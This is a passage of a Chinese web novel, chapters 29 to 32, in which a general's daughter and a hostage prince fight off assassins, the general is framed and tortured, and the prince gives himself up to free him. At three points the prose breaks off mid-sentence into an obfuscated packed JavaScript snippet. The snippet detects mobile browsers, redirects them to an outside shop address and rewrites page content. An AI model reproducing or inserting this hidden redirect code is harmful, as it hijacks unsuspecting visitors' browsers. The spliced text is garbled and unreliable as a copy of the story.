着觉。就不怕小轩日后来报复你们?”秦常念很看不起他。 “大小姐这就说笑了,你也是秦将军的女儿,打打杀杀的事情见得多了,这世上哪有鬼神一事呢。”小轩父亲避重就轻,听到秦常念这样说他很不爽,但又碍于她的身份,不好说什么。 利益当前,人真的可以六亲不认。 诱惑都不用太大,人们就愿意自相残杀。 秦常念不愿再和他多说,白了他一眼,转身离开了。 在马车上,秦常念和隗絮面对面坐着,她眉头紧皱,双手摊开比划着:“小轩一定不是父亲杀的,在军营里杀这样一个平庸到透明的人,究竟为了什么呢?我一定要揪出幕后真凶,把父亲救出来。” “你不觉得今日李权执的出现十分蹊跷吗,你们和他在之前的宴会上发生了什么?”这些天,李权执接连出现两次了。隗絮觉得他见到李权执的次数,简直比皇上都多,不得不多个心眼,提防着他一些。 “没讲什么啊,就……啊!!!有刺客!”秦常念正回忆着,忽然一把剑从侧面插进来。秦常念惊得大叫一声,隗絮瞬间把她拉过来,护在怀里,抽出了自己的佩剑抵上去,硬生生将那把剑推出马车去。 “小心,在这蹲着。”他把秦常念拉到马车的死角,左右都是坚硬的木板。他将小桌子往侧边移一点,挡住秦常念。 他走到马车的前部,故意制造出很大的声响吸引刺客。那把剑果然又从马车的帘子刺了进来,隗絮估算好位置,将剑横着一挑,然后一剑刺在那人的喉咙上。 隗絮的位置已经暴露,其他的刺客却没有如他预想的那样集中到马车的左侧来。 “难道目标不是我?”隗絮嘀咕一句,转身看向秦常念,“得罪了,大小姐。”他长剑一挑,将秦常念的裙摆剪下来一部分,然后拿到马车的窗边。 果然,他一将裙角塞在帘子边,刺客们就赶了过来。 “在那边!抓住她!”一个刺客大喊道。 隗絮很担忧地看了秦常念一眼,怎么会是来抓她的。 秦常念误以为他是要帮忙,赶紧跑了过来:“我来帮你!”然后从马车的座位下抽出了隗絮的那把剑。 隗絮看着秦常念双手握着剑,一副做好了战斗准备的样子,不禁笑了一下。听声音,外面不过就三四个刺客的样子,他笑了一下,抓住秦常念的手:“也好,今日就当实践了。” “往哪刺啊?”秦常念举着那柄剑,不知所措。要知道,她目前学的所有内容都是自己舞剑,可没有学过怎么杀人。 隗絮将她拉过来,一手扶着她的腰,一手握住她的手:“听敌人的脚步声在哪边。” 秦常念侧耳细细听了一阵,头往右边偏了偏,小声说道:“这边?” 隗絮点了点头,带着她往前一步:“敌明我暗,找准时机,便能一击毙命。” 一把剑又刺了进来,隗絮带着秦常念下腰闪躲,握着她的手,将剑竖着挡住刺客的剑,形成一个十字形:“力气不够的时候,要懂得四两拨千斤。” 刺客感觉到自己的剑被人挡住,用了更大的力气推过来,隗絮带着秦常念,忽然卸了手上的力气,那刺客一时平衡不及,带着那把剑向前栽去,最后堪堪将剑抵在马车的壁上,才得以停下。 “就是现在。”隗絮看准了刺客的位置,带着秦常念快步上去,然后往外一剑刺了上去。 29. 两全 剑头刺开皮肉,秦常念隔着剑感受到阻力,有几分犹豫要不要继续往前推进。把一个人的性命握在手里,这种刺激感让某些人害怕,也让某些人着迷。 这就是权利的本质,掌管他人命运。原始部落的首领可以决定杀掉一位野人,因为他体弱多病、占据资源还无法为部落作出贡献,便将他杀了分食;现在的皇上可以处死一位臣子,因为他图谋不轨、贪赃枉法,或者是一句话没有说到皇上的心里,便斩首示众。 哪种更野蛮呢,也说不清楚。 “刀剑相向之时,必不可手软。”隗絮握着秦常念的手,加了五分的力气,将剑刺得更深一点,“你为他人不忍,便是给自己留隐患。你不杀他,他却不会留你。” 秦常念将剑收回来,点了点头。 很快刺客们又向这里汇拢过来,秦常念按照隗絮刚刚教的依葫芦画瓢,转眼间又要了一个刺客的命。 隗絮很满意地看着秦常念点了点头,在秦常念得到鼓励,信心倍增,又准备上前去斩几个刺客的时候,他一把揽住秦常念的腰:“不可恋战,伺机而走,对你来说也很重要。” 男女力量毕竟悬殊,秦常念虽有几分天赋,学得也算勤勉,但长久战下去,必定露出破绽。 隗絮内力催动,掀开马车前的帘子,带着秦常念一跃而起,轻功离开了马车,稳稳地坐在了马背上:“坐稳了。” 隗絮一手握着缰绳,一手执剑往后一挥,凭空便斩断了马拉车的绳子,然后一瞪马肚子:“驾!” 粽毛的马迅速飞驰起来,秦常念往后望去,那所剩无几的刺客很显然没有想到他们会突然驾马而去,一时间都慌乱了起来,急哄哄地去找马。不一会,已经和他们拉开了很远的距离。 “前面的路左转。”秦常念在一处非常不起眼的小路分叉口指挥道。 隗絮点了点头,左手用力一拉缰绳,将马调转方向,向左奔去。 “这条路一直走到底右转,我们便会回到主街上去了。”见后面的追兵都没有跟上,秦常念终于松了口气,又得意地说道,“他们肯定不知道这条路。” “这么隐蔽的路,都被大小姐发现了啊,你可真厉害。没有你,我今天还不知道要怎么办呢。”隗絮见秦常念终于找回一点喜悦的表情,便顺着她的话哄她,还顺势将头放在秦常念的肩膀上,颇有一副吃大小姐软饭的模样。秦常念被他逗得笑得更开怀了,隗絮看她笑得开心,也跟着笑,心里也默默希望她把今日发生的这些糟心事都忘了。 但忘是不可能忘的,父亲被抓走了,陷害他的人、杀小轩的真凶至今都不明朗。秦常念怎么可能心安理得地扮一个没事人。 月亮都在枝头挂了好久,秦常念仍然站在大门口,靠着墙壁发呆。 隗絮在后面悄悄看了她的背影好久,她着一条湖蓝色绣金裙,月光之下,裙子的颜色一闪一闪的,向光面像一颗蓝色的宝石,金莹剔透;背光面像黎明未至时尚暗的天空,灰暗无光。一阵风吹来,裙子被吹得贴在秦常念身上几分,更显出她的单薄来,到底还是个少女。可是狂风却不曾将她的脚步吹动半分,她的坚毅和顽强像是敢与整个世界作对。 看了好一会,隗絮感觉到自己的手都被吹得有些凉,担忧地望了一眼秦常念,默默叹了口气,又赶紧调整了表情,做出明快的样子,走上前去:“阿念,想什么呢?” “就白天的事情呗。”秦常念不知从哪捡了块石头,在石头墙上来来去去地划,壁面上出现几道白色的划痕,和其他风吹雨淋的痕迹融合到了一起,倒也不显得突兀。 “这件事和李权执一定脱不了干系,他摆明了针对你父亲。阿念,你放心,给我些时间,我一定查清楚,救秦将军出来。”隗絮拉过秦常念的手说道。 秦常念想了一下,摇了摇头:“我还是按计划把你送走,此事与你无关。正好父亲被抓,将军府的戒备变得宽松了,你趁乱逃跑也是情理之中。你留在这里,怕会多赔上一个人。” “那秦将军呢?我走了会不会拖累他?” “你放心,我一定寻一个两全之法,保住父亲,也保住你。” 隗絮忽地笑了一下:“怎么样的两全之法,说来听听。” “……我暂时还没想好。”秦常念低下头,情绪又低落了几分,又像是怕隗絮不肯走,抬起头来道,“不过一定会有办法的!你走你的,不必管。” 隗絮和秦常念四目相对,沉默了一会。忽然伸出食指,弹了一下秦常念的脑门,声音含着笑意,低沉地说道:“傻瓜,何来的万全之策。世上之事,有得必有失。交给我,相信我,我一定让秦将军回来。” “难两全?你要怎么做?”秦常念顿时警惕起来,拉住隗絮的胳膊,“不准牺牲自己。听到没!” 隗絮笑了笑,抚了抚秦常念圈住自己胳膊的手:“阿念,相信我,好吗。” “你答应我,不能牺牲自己!老老实实回你的北凉!你在这只是质子,无权无势,帮得上什么忙!”秦常念有些着急了。 隗絮只是看着她笑,并不说话。 “你说话呀,快点答应!”秦常念急得推了推隗絮。 “知道了。”隗絮卸了身上的力气,很配合地随着秦常念的动作往旁边倒了一步,声音沙哑带着几分懒意道,“很晚了,回去睡觉吧。”说罢,便推着秦常念的肩膀,要她回房间。 “你凡事得与我商量知道吗,不准自己轻举妄动!等下父亲出不来,连你也搭进去了,我要怎么办!”秦常念一边往房间走,一边止不住地回头嘱咐。 “看路,当心摔了。”隗絮将他的头摆正,笑着道。 到了房间门口,秦常念却不肯进去,转过身和隗絮面对面。 隗絮上前一步,帮秦常念把发丝别到耳后:“今日发生的事情很多,早些休息吧。秦将军不在,这几日也许你都会很忙,有什么事明日再说。” 秦常念很忧心的样子,又想说什么,刚张开嘴,隗絮就往她的嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13913292|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里塞了一块蜜饯,秦常念像小松鼠一样,嘴巴装得鼓鼓的,只能发出“呜啊”的声音 “你刚刚讲了一万遍的话就不必再说啦,我又不是傻子。耳朵都要听出茧子了。”隗絮很夸张地指了指自己的耳朵,喜提秦常念一个巨大的白眼。 他没忍住,伸手上去捏了捏秦常念的脸颊肉:“好啦,早点休息,我走了。” 说罢,便潇洒地转身离去。 都怪那天的月亮不甚明亮,秦常念没有看清隗絮眼角滴下的那颗晶莹剔透的泪珠,那滴泪像一根针,尖锐地落下来,戳破很多泡泡。 但秦常念没有看到。 她对那天晚上的所有印象,都变成渐渐淡去的松木香。而那种香味,她没在其他任何人身上闻到过。 客栈里,李权执勃然大怒,一脚将一个侍卫踹翻在地:“跑了?”侍卫倒在地上不敢说话。 李权执走近几步,蹲下来,抓住侍卫的衣领,恶狠狠地说道:“你再说一遍!” “……启禀瑞王殿下,人……没抓到。我们派去的六名刺客中,有三位都不幸牺牲。”那侍卫颤颤巍巍地开了口。 “不幸牺牲?”李权执阴森地笑了一下,话语仿佛是从牙缝里挤出来的,“六个大男人去抓一个养尊处优、身无长物的大小姐,和一个质子,你告诉我抓不到,还搭上了自己的性命?这样的死,说出去都丢人!” “瑞王殿下……还有一事……”那人似乎还有几句话想补充。 李权执拽着他的衣领使劲往后一推:“一群废物!滚!” 那人应声就连滚带爬地要走,李权执却忽然想起了什么似的,背过身问道:“对了,城里的舆论最近发酵得怎么样了?不要告诉我你们人,人杀不了,话,话传不了!你当我养你们是吃白饭的吗!” 那人立刻又跪在地上,膝盖撞击地面发出“砰”的声响,光是听就能感觉到骨头的震动:“回瑞王殿下的话,原本还有些人觉得耳听为虚,但现在漠北城里几乎人人都相信大小姐和质子之间破格的感情。” 那日隗絮和秦常念抄小道摆脱刺客,从街上一路疾驰回府,对他们来讲是生死时速的搏斗,但对民众来讲,是一副浪漫又骇人的场面。 镇北将军府大小姐衣衫不整,似乎连衣角都缺了一块,和北凉质子打马过城,不仅不成马车,还和质子共骑一乘,真是世风日下、道德沦丧!那大小姐就是个贪图徐公之美的好色之徒,竟完全不将纲常伦理放在眼里。他俩人举止如此亲密,怕是早就厮混在了一起,不止一天两天。 “真是峰回路转啊。秦常念,我估计你也没料到事情会这样发展吧。”李权执听过又仰天长笑了几声,那侍卫刚松了一口气,李权执又忽地变了脸色,“如此有用的消息,你刚刚怎么不报!非要我问你才说吗,榆木脑袋!”说罢顺手将手里的蓝纹瓷杯扔过去出气,正好砸在那侍卫的脸上。 侍卫当然不敢说什么,俯下身子磕了几个响头,连脸上的血迹都不敢抹去。 30. 救人 一只灰白相间的信鸽越过崇山峻岭,最后落在东宫的深绿琉璃瓦上,气喘吁吁地带回了来自漠北的消息。 “太子殿下,收到探子消息,秦大将军被李权执带人抓了。”一个暗卫上来汇报道。 李欲先前便觉得李权执忽然去漠北,此举怪异,听到这个消息也不意外,心里暗自想道,原来你是想威逼利诱秦远,要他手上的兵权。可惜他低估了一位大将军的耐性和超凡的毅力,就是将烙铁、毒酒通通用上一遍,将他剥皮抽筋,他也是不可能交出来的。 李欲将手上的竹简合起来,随手往桌上一扔:“秦远为朝廷肱骨,为了大齐出生入死,万不可让他受如此折磨。派些人手下去,速速赶去漠北。兵分两路,一部分去见李权执,要他再三调查清楚,不可冤枉了无辜之人;另外一部分直接去劫狱,将秦远救出来。” “是,太子殿下。但是劫狱的动静太大,四皇子一定会发现的,需要我们将秦远秘密安置吗?” “不需要,动静闹得越大越好,这样消息传到帝京来,我便顺势递一封折子给父王,劝他此事受了许多关注,需要谨慎处理才好。”李欲安排道。 如此一来,他们便占据了主动。在皇上面前,李欲便能假意请罪,说是自己派人截了狱,请陛下责罚。原因是怕此事真相尚未查清,平白冤枉了好人。这被冤枉的不是别人,恰恰好是大齐的镇北将军,被其他官员、百姓知道了,为国为民一辈子,却没落得好下场的故事,日后谁还敢为大齐卖命。正所谓得民心者得天下,若是想牢牢守住江山,必定要有一群心向大齐的人民。 本来是可以不必采取劫狱如此极端的行为的,但派人多次去劝李权执,他都执意认为秦远是罪魁祸首,可事实上,还没有找到任何实质性的证据。实在是怕内心的偏见误导了案件的判断,不得已出此下策。 这样陛下也怪罪不得,且无论李权执怎么解释,都已经说不清楚了。 太子派出的人手骑着快马,连日加急往漠北赶去,马蹄扬起阵阵尘土。 漠北的监狱里,一盆冰冷的水混着冰被泼在秦远的身上,冻彻骨髓。 李权执拿着一根牛皮鞭子,在空中甩了甩,像是挥舞着一条巨蟒,他的手掌就像是巨蟒吐出的信子。他看着秦远,抚摸了一下手中的鞭子:“秦大将军,如今证据确凿,你可认罪?” “我没干过,认什么罪。”秦远被折磨了好长一段时间了,精气神不是很足,双手被高高吊起,却一字一句地认真说道。 李权执不说话,只是看着秦远笑得狡诈。 “瑞王殿下也是知道的,不是吗?”秦远抬起头,扯出一个轻蔑的笑容,算是回敬,语气很不屑地接着说道,“瑞王殿下抓我来是为了什么,不妨直说。” “秦大将军倒是个明白人。”李权执将辫子放回桌上,坐下来,一只腿横翘着晃,“本王知道什么、不知道什么并不重要。秦大将军不是知道得嘛,君要臣死,臣不得不死。” “哼。“秦远鼻子里喷出了冷气,将头转到一旁,“君要臣死,臣不得不死。可在这里,只有我这个臣子,没见到有君啊?我作为镇北将军,自然是听命于大齐的皇上,今日是陛下亲自来了?还是太子殿下作为储君来替父亲索我的命?哦,原来都不是。是你这个庶出的、排名第四的皇子,来命令我。” 出乎意料的,李权执并不恼,反而很淡定地吹了吹手里的热茶:“是啊,本王不是秦大将军认定的君,还没资格命令秦大将军。” 他拿起一个褐色的纸包,将一些不明的白色粉末撒到茶里,走到秦远的面前,将那杯茶递过去:“所以,本王此次请秦大将军来,就是想请您帮我。” “帮你什么?” “帮我为君。” 秦远听了以后大笑,动作夸张到震得手上的链条都吱呀作响:“哈哈哈哈哈瑞王给我扣上莫须有的罪名,还将我绑在这里,严刑拷问。现在却要问我合作,与你谋逆?瑞王这可不是求人的态度。” 李权执也笑了,他将茶直接递到秦远的嘴边,杯沿重重地磕在隗絮的唇角和牙齿,阴冷地说道:“那秦将军就误会了,本王想和你合作不假,可从没想过要求人。帮我,和喝了这茶,你选一个。” 秦远看了一眼李权执手上的那杯茶,清水无痕,看不出有什么异常。又能怎么样呢,顶多就是要人命的毒。 秦远一生恪守原则,行得正,坐得直。即便是今日被关在这里,他也没有想向李权执求饶的半分意思。 对这样的人来讲,他哪里有的选呢。 秦远摇了摇头,竟真将身子往前探,要去喝那杯酒。 外面却忽然传来杂乱的“咚咚”的鼓声,李权执本不想理,将那茶杯倾斜就要往秦远嘴里灌,可那声音经久不衰,甚至还越传越烈。 “我来自首!”一阵很熟悉的声音响起,李权执听了,歪了一下头,将那杯酒放下,快步走了出去。 县衙门外已经围了许多群众,窸窸窣窣地讨论着。站在正中间敲鼓的正是隗絮,他换了一身玄色勾暗红花的衣裳,见李权执出来了,便放下手中的鼓槌,吊儿郎当、歪七扭八地行了个礼:“哎哟,瑞王殿下可算是出来了啊。” “这是瑞王殿下?京城里的四皇子?”围观的群众都吓了一跳,本来只是听说小轩被杀一案的真凶前来自首,想来凑个热闹。不曾想却在这里见到了皇子。 李权执此次是暗中来访,先前也以官府大人的身份前往现场,如今隗絮就这么明晃晃地点破他的身份,惹得他颇为不爽,他双手抱臂站在隗絮面前,冷冷地说道:“何事。” “我今日来自首,那军营里那个毛头小子是我杀的,任凭瑞王殿下处置吧。”隗絮一副浪荡公子哥的样子。 “竟然是他?他不是将军府的那个质子吗?” “我就说他看上去不是什么好人吧,虽然衣冠楚楚的,内里安一颗黑心呢!” “竟然是他杀的吗?哎,白瞎了这么一张好看的脸蛋啊。” 人群里议论纷纷。 “当日并没抓到你,你何故现在来自首?”李权执抬高了几分声音,问道。 “哈哈哈哈哈先前没想到大齐的皇子能力如此之低,我故意做得那么拙劣,连尸体都特意没处理掉,就是想看你们几时能抓到我。没想到,竟然一直没抓,甚至还怀疑错了人。我就是想先耍耍你们,看你们作何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941531|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反应。”隗絮一边说话,一边左右摇晃着,笑得夸张。 “你可知在大齐,杀人是要偿命的,更何况你杀的还是军营之人。你不怕吗?”李权执上下打量着隗絮,一脸探究。 “我知道啊,但我断定你不会当场将我斩立决的。其一,我是北凉来的质子,生死关乎两国的战局,不可随意处置;其二,我杀的不过是军营里一个小小的士兵,既没有身兼要职,也不是权贵子弟,却惹得你一位皇子亲自来查。想必兹事体大,得要皇上亲自审问吧。正好,我在这漠北也实在是呆腻了,哄着那位大小姐玩了几天,也觉得实在是没意思。不如换个地方,随你一块去帝京,吃好喝好,修养几日。” “你想得倒是美。来人,给我拷起来!” 隗絮双手握拳,并拢在一起,毫不在意地晃了晃,似乎是在等他们来拷。拷好了以后,还将那手翻过来、倒过去地看,满脸的新奇。正要抬脚跟着那些官兵们走,又像是突然想起了什么似的,大声问道:“诶我说瑞王殿下啊,秦将军也一块去京城吗?” 真凶已经被抓拿归案,那秦远就是被冤枉的。今日这么多群众在这里围观,该听的、不该听的,也都听到了。李权执也没有不放人的理由,只好摆摆手道:“将秦远放了。” 隗絮被官兵左右围着,往昏暗无光的大牢里押送;秦远被下令释放,跟在一个侍卫的后面出了房间,太阳刺得他睁不开眼睛。 秦远的眼神穿过层层叠叠的人,正好和隗絮对上。隗絮笑了一下,语气轻松地说道:“阳光不错啊,看来漠北要迎来好时节了。” 今日好奇怪,秦常念一觉睡到日上三竿都没醒来,好不容易睁开眼睛,太阳都已经挂在了天空的正中。秦常念慌忙地从床上弹起来,唤来丫鬟更衣:“不是说好了要叫我吗,今日怎么不叫,这些天发生了这么多事,处理都来不及呢!” “小姐,奴婢叫了您的,可今日您怎么也叫不醒,像是睡昏过去了似的,吓得奴婢还特意请了大夫来看呢。大夫说,您是昨日饮的安神茶过了量,这些天可莫要再饮了。” 秦常念听完了她的话,顺着她的话回忆。昨日她怎么也睡不着,半夜隗絮来她的房间看她,给她沏了杯安神茶,可她只喝了一杯,怎么会过量。 秦常念想着想着,忽然脸色一变,问道:“隗絮呢?” “隗公子今日一大早便出门了,说是要去处理秦将军的事情。” 秦常念立刻推开丫鬟,往外跑,心想不好。 刚一推开门,竟然和秦远撞了个正着。 “父亲?!你怎么回来了!”秦常念很是惊讶。李权执那么坚决地将他抓走,竟肯那么轻易地放他走,属实是奇怪。 秦远尽显颓态,额头处还有红肿和伤痕,他无奈地摇了摇头,并没回答。 “子秋,你先带父亲去处理伤口,父亲,我有事得出去一趟,隗絮不见了。”秦常念吩咐完,拔腿就要往外跑。 秦远一把拽住秦常念的手:“别去了。” “父亲见到他了?是他救你出来的吗?他人现在在哪?” 秦远眼眶湿润了,他抬头看了看太阳道:“他说,漠北要迎来好时节了。” 31. 圈套 李权执将隗絮“捉拿归案”的第二天,就备好了车马往帝京赶,马不停蹄的。 李权执并没像对待真正的犯人一样对待隗絮。既没将他捆起来、戴上枷锁,也没用囚车运他,反而让他一起坐在马车上,不明就里的人一定会以为两人是一起出来办案的。 隗絮戒备地看着李权执,他不相信李权执会有这么好心。 李权执给自己倒了杯茶,边品边抬起眼皮看隗絮:“我一片好心,想着舟车劳顿,隗公子莫要受累了。看来有人不领情啊。” 隗絮并不接话,双手置于膝上:“那我真是好大的面子,瑞王殿下这么兴师动众地抓我,甚至不惜得罪镇北将军。我如今才算是见识了什么叫舍不得孩子套不着狼啊。” “那不知道隗公子认为自己是那只狼呢,还是那个孩子啊?”李权执悠悠地反驳一句,抿了口茶,嘴角微微扬起,却让隗絮忽地心中一惊。 马车正好行驶到颠簸的地方,隗絮的身子随着马车一颠,那颗心好似跟着这烂路颠了出来,再没落回去。 隗絮觉得很蹊跷李权执的性子向来急躁、沉不住气,行事风格更是胆大鲁莽。可他这样的淡定悠闲和那话里有话的反问,不得不让隗絮多想。 李权执此行的目的一定不是来抓自己,否则他在军营里便可以怀疑自己为由,将自己押入大牢审问。隗絮很清楚这一点,他那句“这么兴师动众地来抓我”不过是想讽刺一下李权执。李权执一定是为了秦远手上的兵权而来,他演这么一场戏最后却无功而返,只抓了个自己。按理说,一定觉得自己吃了大亏。 可事实却好像并非如此。 接连几个晚上,隗絮都没有睡好,将李权执的所作所为想了又想,都没有想出更合理的理由,但心里却越发不安了起来。 在过了永镇口后,李权执忽然放慢了行进的速度。本来每日巴不得赶到半夜三更,现在却在一个小村庄里住了下来。就好像在等谁。 更奇怪的是,他日日晚上都来找隗絮一起喝茶。两人对坐着,什么话也不说,气氛很尴尬。 在他们停留的第三个晚上,李权执像往常一样拿起茶盏,就听到远处传来一阵急促的马蹄声,他满意地放下茶杯:“来了。” 紧接着门外便传来一阵激烈的打斗声,几个人闷声倒下。 一个黑影从窗前穿过。 “有刺客!”侍卫立刻反应,伸手拔刀,李权执用头点了点窗外,示意侍卫去追,侍卫翻窗而出,追着那黑影而去。 一时间,房间里只剩下隗絮和李权执两人。 隗絮眯了下眼睛,一手摁住身侧的椅子,准备随时用作武器以自保。 门被一脚踹开,隗絮隔着门前的屏风,看不到人,但那若隐若现的轮廓,竟让他诧异地熟悉。 不可能吧,不要吧。隗絮心里一紧,可越近便越闻到一股常常会让他安心的淡香,虽然今日闻到,有几分惊心。但他居然忍不住不去期待那来人。 秦常念带着子秋闯进了房间。秦常念一个眼神,子秋立刻上去压住李权执,利刃架在他的脖子上。 “威胁皇子,你连命都不想要了?”李权执瞟了一眼子秋,他是真的养尊处优惯了,习惯用身份权势来压人,并且屡试不爽。 子秋并不答话,眼神很坚定地站着,手里的剑也不曾松开半分。 他的使命就是保护镇北将军府的大小姐,从十二年前开始。 死在执行任务的途中是一个贴身侍卫最好的结局,他有这样的野心。 所以他不害怕,也不动摇。 秦常念提着剑,难得的着了深色裤装,径直走向隗絮:“走。” 隗絮两眼直勾勾地看着秦常念,没听她的话,仍然坐着一动不动。 秦常念很不解,哪有人有生路都不要的。但现在情况紧急,她没时间和他讨论,那几个侍卫也不知道能被引开多久。她一把拉住隗絮的手,将他往门外送:“快走啊,你还在等什么,门外已经备好了马,你就赶快回北凉去。快走!” “秦大小姐,当着我的面放人,是不是不太好啊?你将他放走了,我拿什么回京城交代。”李权执皮笑肉不笑地说道。 子秋握着剑的手立刻用力了几分,浑身的肌肉都紧绷起来,做好了战斗准备,等待秦常念的命令。 秦常念冲着子秋微微摇了摇头,她不可能真的让他去冒这个险,她侧过头来对李权执说道:“一人换一人,我留在这里,他走,也是一样的。瑞王殿下反正不吃亏。” 此话一出,隗絮立刻转过身来,眼里满是不可置信,秦常念居然为了他,以自己交换。 隗絮反手握住秦常念的手腕,警戒起来,准备带着她一起跑。 秦常念是为了救他才来的,他不可能把她一个人丢在这里。 “也行。你们倒是真的情真意切,你居然可以为了他做到这地步。那本王不成全也不太好啊。你走吧,隗公子。”李权执望着他们,点了点头。 隗絮估算了一下时间,心想不能再耽误了,再在这里犹豫,很快就有下人来找李权执,他们一个都走不了。瞟了一眼马匹的大致位置,他已经做了决定,大喊一声:“子秋,撤!”瞬间抽出秦常念腰间的匕首,冲着李权执的眼睛就甩过去。 李权执立刻往侧面一扑,再回过神来,隗絮已经带着秦常念跑了。 一个人都没抓到,李权执气得将面前的茶桌整个掀翻,东西零落了一地,他紧握着拳头道:“好啊,这下你们是一起跑的,本王就可以做实你们秦家通敌叛国的罪名!” 隗絮骑着马带着秦常念跑,子秋在前面带路。 “你放我回去,这样他真的会说我和你私通、秦家叛国的!”秦常念不时地往后看,急着要下马。 “不行,你自己也知道他此行就是为了针对你们家,你现在回去,他一样地会说你放走北凉质子,到时候你又要如何办!驾!”隗絮踢了一下马肚子,加了点速。 “……他如何有证据证明是我放走你的,哎呀,这些你就不要管了。”秦常念其实也没想好,只是眼下只有这一个办法,若是隗絮真的被送到帝京,那就真的命运叵测了。 “我不要管?你什么都没想好,就这样莽撞行事,冲过来在瑞王面前劫人,你到底在想什么!” “那我能眼睁睁看着你去送死吗!我不是一片好心,想来救你吗!” “谁要你救了!自作聪明!”正所谓关心则乱,隗絮一着急也是口不择言,出口的瞬间便知道自己的语气重了,可是话却收不回来了。 秦常念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972777|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转过头去,又委屈又愤怒地和隗絮对视。隗絮正准备好被她狠狠骂上一顿再解释,秦常念却闭上了嘴。 她的心情有些复杂,身体也不太舒服。此行是瞒着秦远来的,为了追他们,连续骑了几天的马,浑身的肌肉都痛。原本思绪就混乱,她想不到更好的法子,只能以身犯险。 她承受了多大的压力、多大的折磨,就为了他。 现在隗絮却在这里骂她“自作聪明”。 秦常念闭上嘴,一言不发。她生怕一说话,满腹的泪水就要流出来。可她最痛恨自己因为别人骂她而哭,她觉得那是一种软弱无力地承认,承认自己的愚笨,承认自己的鲁莽。 那她便会更生气,打从心底里觉得自己是烂泥扶不上墙。 所以秦常念选择闭嘴。 一路上,她都没说话。隗絮时不时偷瞄她,关注她的情绪。他自知自己话说得不对,也没敢主动搭话。 一直到进了客栈,隗絮将秦常念送到房间,左思右想还是先开了口:“对不起,我今日不该……”迎接他的却只是鼻子前“砰”地一声被关上的门。 秦常念倒在床上,强忍着的泪水终于流了出来。她无声地哭着,半晌,一只胳膊横搭在脸上,不仔细看便以为她睡着了,可滴滴答答的眼泪总是顺着她的下颌滴落,浸湿一小块床单。 隗絮回到房间,背靠着门无力地坐下,心里痛骂自己怎么能说出那种话。 坐了一会,隗絮强行将自己的思绪拉回,企图从一个理智的角度来分析。 他忽然想起李权执之前的那句话,“你是孩子,还是狼。”再把今日的事情结合起来,那便是李权执早就算到秦常念会来救他。而李权执的本意就是将秦常念抓回去,给她戴上私通敌国质子的罪名,那秦远一定会不惜一切代价救她。李权执便要以此为筹码,和秦远谈判,要他交出手上的兵权。 四日前,李权执的手下跪在李权执面前,听他的部署和安排。 “这个隗絮并不重要,重要的是秦常念对他用情至深,那我们就以此来个瓮中捉鳖。”李权执命令道。 “是,瑞王殿下……但若是秦常念没来呢?”手下问道。 “她一定会来的。将门之后向来重情重义,秦远曾经有愧于隗絮家,一定会想法设法地弥补,不然他的良心可过意不去,秦常念会想替父亲来补这个歉意,加上她和隗絮本来就走得甚近,她一定不忍心丢下她不管。”李权执别的本事没有,身在天家,猜忌人心是与生俱来的过人天赋,不然他也活不到今日。 隗絮抬起头重重地敲在门上,试图以此来让自己的脑袋清醒一点。 现在秦常念无论是回镇北将军府,还是去李权执那里替他顶罪,都是入了李权执的圈套。 那便只剩下一条路可选,他把秦常念带走。 将秦常念带回北凉为质子,局势瞬间反转。一来可以说他在镇北将军府受到大小姐的侮辱虐待,一定要报这个仇;二来镇北将军在世上的亲人只剩下这一个女儿,拿捏住他的女儿,便有利于北凉在边境和秦远的谈判。 秦远的女儿被抓走作质子,再加之宣传一下,说秦常念在北凉如何如何受到虐待,引得百姓同情。秦家通敌叛国的谣言便不攻自破。李权执也没理由请求皇上治秦家的罪。 32. 带走 秦常念躺在床上翻来覆去,心中郁结难解。眼下来到一个困境,如何既能救走隗絮,又保全秦家,她暂时想不到破局的办法。 可与其计研心算、困于原地,不如通权达变、见机行事。 秦常念想了想,下定了决心,左右跟着隗絮跑不是办法,还是先稳住李权执那边再说。她立刻起身,拿上随身携带的东西,准备趁着深夜回去。 秦常念刚一开门,就看见隗絮插着手,靠坐在房间门口睡觉。 听到动静,隗絮眼睛都没睁开,懒懒地说道:“这么晚了,秦大小姐不睡觉,出来梦游啊?” “……不要你管。”秦常念从边上跨过去。 隗絮一掌撑住墙,挡住秦常念的去路,站起来说道:“夜已经深了,我还是送大小姐回去睡吧。”说罢,伸出手准备推出秦常念的肩膀,把她送回去。 秦常念身子往右一歪,躲过隗絮的手。隗絮有几分诧异,转过身来看她。秦常念握住剑鞘的中间,将剑整个横在隗絮的脖子前:“从此以后,我们桥归桥,路归路,互不干涉。” 